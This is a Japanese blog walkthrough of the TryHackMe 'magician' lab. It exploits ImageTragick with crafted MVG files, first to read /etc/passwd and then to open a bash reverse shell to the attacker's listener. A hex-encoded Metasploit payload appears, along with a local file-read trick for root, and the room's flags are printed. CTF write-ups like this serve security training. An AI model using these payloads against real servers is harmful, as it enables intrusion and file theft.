0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】magician:Walkthrough

Posted at

概要

TryHackMe「magician」のWalkthroughです。

Task1

Q1.user.txt

ポートスキャンを実行します。

$ nmap -Pn -sC -sV -A -T4 -p- -oN nmap_result 10.10.251.158
PORT     STATE    SERVICE    VERSION
21/tcp   open     ftp        vsftpd 2.0.8 or later
8080/tcp open     http-proxy
|_http-title: Site doesn't have a title (application/json).
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 
|     Vary: Origin
|     Vary: Access-Control-Request-Method
|     Vary: Access-Control-Request-Headers
|     Content-Type: application/json
|     Date: Wed, 24 Jul 2024 18:08:51 GMT
|     Connection: close
|     {"timestamp":"2024-07-24T18:08:52.098+0000","status":404,"error":"Not Found","message":"No message available","path":"/nice%20ports%2C/Tri%6Eity.txt%2ebak"}
|   HTTPOptions: 
|     HTTP/1.1 404 
|     Vary: Origin
|     Vary: Access-Control-Request-Method
|     Vary: Access-Control-Request-Headers
|     Content-Type: application/json
|     Date: Wed, 24 Jul 2024 18:08:49 GMT
|     Connection: close
|     {"timestamp":"2024-07-24T18:08:47.569+0000","status":404,"error":"Not Found","message":"No message available","path":"/"}
|   RTSPRequest: 
|     HTTP/1.1 505 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 465
|     Date: Wed, 24 Jul 2024 18:08:51 GMT
|     <!doctype html><html lang="en"><head><title>HTTP Status 505 
|     HTTP Version Not Supported</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 505 
|     HTTP Version Not Supported</h1></body></html>
|   Socks5: 
|     HTTP/1.1 400 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 435
|     Date: Wed, 24 Jul 2024 18:08:52 GMT
|     Connection: close
|     <!doctype html><html lang="en"><head><title>HTTP Status 400 
|     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 
|_    Request</h1></body></html>
8081/tcp open     http       nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: magician

ポートの稼働状況が分かりました。

ポート サービス バージョン
21 ftp vsftpd 2.0.8 or later
8080 http-proxy
8081 http nginx 1.14.0

8081にアクセスするとPNGをJPGに変換するサイトが表示されました。

home page.jpg

FTPにanonymousで接続するとメッセージが表示されました。

$ ftp magician    
Connected to magician.
220 THE MAGIC DOOR
Name (magician:kali): anonymous
331 Please specify the password.
Password: 
230-Huh? The door just opens after some time? You're quite the patient one, aren't ya, it's a thing called 'delay_successful_login' in /etc/vsftpd.conf ;) Since you're a rookie, this might help you to get started: https://imagetragick.com. You might need to do some little tweaks though...
230 Login successful.
ftp>

vsftpdelay_successful_loginが設定されているようです。
また、記載されているアドレスにアクセスするとCVE-2016–3714の情報が得られました。

サイト内のCVE-2016-3717 - Local file readを利用してexploit.mvgをアップロードし、変換されたexploit.jpgを見ると/etc/passwdファイルを読み込めました。

exploit.mvg
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context

ect passwd.jpg

リバースシェルを試みます。
下記サイトを参考にMetasploitでペイロードファイルを作成します。

msf.png
push graphic-context
encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
image Over 0,0 1,1 '|perl -e system -e pack -e qq,H1050,,qq,6563686f20657865635c285f5f696d706f72745f5f5c285c277a6c69625c275c292e6465636f6d70726573735c285f5f696d706f72745f5f5c285c276261736536345c275c292e6236346465636f64655c285f5f696d706f72745f5f5c285c27636f646563735c275c292e676574656e636f6465725c285c277574662d385c275c295c285c27654e6f395545314c784441515054652f4972636b47454f37706a30735668447849434b4336303145326d52324c5532546b6d53314b76353347374a346d6547396566506d5935686d35794d4f546f30512b62635a657435334152724a512f524846586b634a6b4237352f4743423474395a77394171354a74555248393178714c304f5a6d6b5250643842506550643763762b32656e32367648316a5343655773425255704a565570476c48586f704b533847707a49566c5339423636455257774b4a686a736b367a525441414d36305a4d6d316553527a74334b6d526b717337776f50776f44376f6176425376694c646e72426836504e394d49414e574b725a70566e74394e6c2f39547a54444d4543697161726851626c70746c444344512f5150534e544b5347704f512f4a4a42742b47586f44332b325873495c3d5c275c295c5b305c5d5c295c295c29207c2065786563202428776869636820707974686f6e207c7c20776869636820707974686f6e33207c7c20776869636820707974686f6e3229202d,'
pop graphic-context
pop graphic-context

しかし、こちらの環境ではリバースシェルを確立できなかったので実行コマンド部分を変更しました。

msf.png
push graphic-context
encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context

# 変更
image Over 0,0 1,1 '|bash -i >& /dev/tcp/10.6.55.144/1234 0>&1'

pop graphic-context
pop graphic-context

Webサイトにmsf.pngをアップロードし、コンバートボタンを押すと接続を確立できました。

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.163.96] 37446
bash: cannot set terminal process group (943): Inappropriate ioctl for device
bash: no job control in this shell
magician@magician:/tmp/hsperfdata_magician$ whoami
whoami
magician

TTYを設定します。

$ python -c 'import pty; pty.spawn("/bin/bash")'

/home/magician/user.txtからフラグを入手できます。

/home/magician/user.txt
THM{simsalabim_hex_hex}

A.THM{simsalabim_hex_hex}

Q2.root.txt

pspyを実行するとローカルの6666へ接続しているプロセスを発見しました。

2024/07/24 15:36:55 CMD: UID=0     PID=985    | /usr/bin/python3 /usr/local/bin/gunicorn --bind 127.0.0.1:6666 magiccat:app

6666ポートのソースコードを取得すると、フォームからfilenameプロパティに入力された内容を送信していると分かりました。

$ curl http://127.0.0.1:6666

<form action="" method="post" class="form" role="form">
<div class="form-group "><label class="control-label" for="filename">Enter filename</label>
    <input class="form-control" id="filename" name="filename" type="text" value="">
</div>
    <input class="btn btn-default" id="submit" name="submit" type="submit" value="Submit">
</form>

filename/root/root.txtを入力して送信してPOSTリクエストを送信すると文字列を得られました。

$ curl -X POST http://127.0.0.1:6666 -d "filename=/root/root.txt"

<div>
    <span>
        <pre class="page-header">
        GUZ{zntvp_znl_znxr_znal_zra_znq}
        </pre>
    </span>
</div>

文字列をROT13でデコードしてフラグを入手できます。

flag.jpg

A.****

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?